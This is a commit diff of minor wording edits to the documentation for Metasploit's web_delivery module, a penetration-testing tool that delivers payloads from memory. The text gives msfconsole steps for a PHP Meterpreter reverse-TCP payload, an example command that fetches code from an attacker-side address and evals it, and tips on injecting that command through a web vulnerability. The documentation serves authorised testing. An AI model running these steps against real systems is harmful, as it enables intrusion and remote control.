MS-1196 Minor edits to the kb for the web_delivery module
parent
4c42a74d48
commit
7e5fced46b
|
@ -1,31 +1,26 @@
|
|||
As a web server, web_delivery provides a great way to deliver a payload during post exploitation,
|
||||
with the intention to stay stealthy because the payload does not touch the disk.
|
||||
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
|
||||
|
||||
Currently, web_delivery supports three different languages for delivery: Python, PHP, and
|
||||
Powershell. You should be able to tell which one you can use based on the target environment
|
||||
you are in.
|
||||
|
||||
For example: if you have gained access through a PHP application, then it's safe to assume you can
|
||||
use PHP. If you're in a Windows server (such as Windows Server 2008), then it's probably safe to
|
||||
say the target supports Powershell.
|
||||
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To be able to use web_delivery, you must gain access to the target machine first, with the ability
|
||||
to execute either the Python, or PHP, or Powershell interpreter.
|
||||
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
|
||||
|
||||
At that point, you would use web_delivery similar to the following example:
|
||||
At that point, you would use the web_delivery module like in the following example:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/multi/script/web_delivery```
|
||||
3. Do: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
|
||||
4. Do: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
|
||||
5. Do: ```set LHOST IP``` (The IP the payload should connect back to)
|
||||
2. Run: ```use exploit/multi/script/web_delivery```
|
||||
3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
|
||||
4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
|
||||
5. Run: ```set LHOST IP``` (The IP the payload should connect back to)
|
||||
6. Do: ```run```
|
||||
7. At this point, a handler is up for that payload. And the module should instruct you to execute
|
||||
a command.
|
||||
8. Copy the command. Depending on your pentesting scenario, typically you can either inject the
|
||||
command and get code execution, or run it from the target's shell, and get a session:
|
||||
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
|
||||
8. Copy the command. Depending on your pentesting scenario, you can either inject the
|
||||
command and get code execution, or run it from the target's shell and get a session:
|
||||
|
||||
```
|
||||
msf exploit(web_delivery) > run
|
||||
|
@ -46,14 +41,13 @@ php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/
|
|||
|
||||
**Python**
|
||||
|
||||
Python is a fairly popular language, especially on unix-based systems. For example, it comes with
|
||||
Ubuntu Linux by default since 8.04. As well as Debian, and Mac OS X since 10.3.
|
||||
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
|
||||
|
||||
**PHP**
|
||||
|
||||
PHP is a fairly popular language for web servers, especially Apache.
|
||||
|
||||
**Powershell/win**
|
||||
**Powershell/Windows**
|
||||
|
||||
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
|
||||
are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
|
||||
|
@ -68,16 +62,15 @@ web_delivery would work nicely for a web application with a command execution vu
|
|||
One way to approach this would be:
|
||||
|
||||
1. Start exploit/multi/script/web_delivery
|
||||
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that
|
||||
results in arbitrary code execution.
|
||||
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
|
||||
3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
|
||||
|
||||
**Shell upgrade**
|
||||
|
||||
web_delivery is also useful to upgrade a shell type payload to a meterpreter one.
|
||||
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
|
||||
|
||||
Here's how that can be done:
|
||||
|
||||
1. Start exploit/multi/script/web_delivery that generates/
|
||||
2. On msfconsole, interact with the shell, and copy/pate the command.
|
||||
3. You should get a meterpreter session.
|
||||
2. In msfconsole, interact with the shell, and copy/paste the command.
|
||||
3. You should get a Meterpreter session.
|
||||
|
|
Loading…
Reference in New Issue